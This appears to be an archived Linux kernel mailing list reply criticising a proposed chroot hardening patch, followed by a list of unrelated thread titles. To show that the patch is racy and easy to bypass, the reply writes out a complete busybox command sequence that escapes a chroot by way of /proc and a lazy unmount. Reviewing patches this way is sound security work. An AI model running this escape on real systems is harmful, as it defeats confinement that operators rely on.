On Sep 26, 2007, at 09:11:33, Miloslav Semler wrote:This is basically both painfully racy and easily broken with umount and/or access to proc. See this busybox-compatible example: ## Set up chroot mkdir /root1 mount -o mode=0750 -t tmpfs tmpfs /root1 cp -a /bin/busybox /root1/busybox ## Enter chroot chroot /root1 /busybox ## Mount proc /busybox mkdir /proc /busybox mount -t proc proc /proc ## Poke around root filesystem (this may be all you need) /busybox ls /proc/1/root/ ## Detach our chroot so we're no longer a sub-directory /busybox umount -l /proc/1/root/root1 ## Now we can easily chroot to the original root, since it isn't in our ".." path exec /busybox chroot /proc/1/root /bin/sh See how easy that is? Unless you stick the above parent-directory check (which is still racy against directories being moved around) for *EVERY* directory component of *EVERY* open/chdir-ish syscall, you are still going to be easily worked around through many different methods. Cheers, Kyle Moffett -
| Pierre Ossman | Re: [RFC][PATCH] cpuidle: avoid singing capacitors |
| Greg KH | [GIT PATCH] driver core patches against 2.6.24 |
| Greg KH | Re: Announce: Linux-next (Or Andrew's dream :-)) |
| Rene Herman | 2.6.26, PAT and AMD family 6 |
git: | |
| Jesper Krogh | Re: NIU - Sun Neptune 10g - Transmit timed out reset (2.6.24) |
| Gerrit Renker | [PATCH 27/37] dccp: Integration of dynamic feature activation - part 2 (server side) |
| Arjan van de Ven | Re: [GIT]: Networking |
| Radu Rendec | htb parallelism on multi-core platforms |
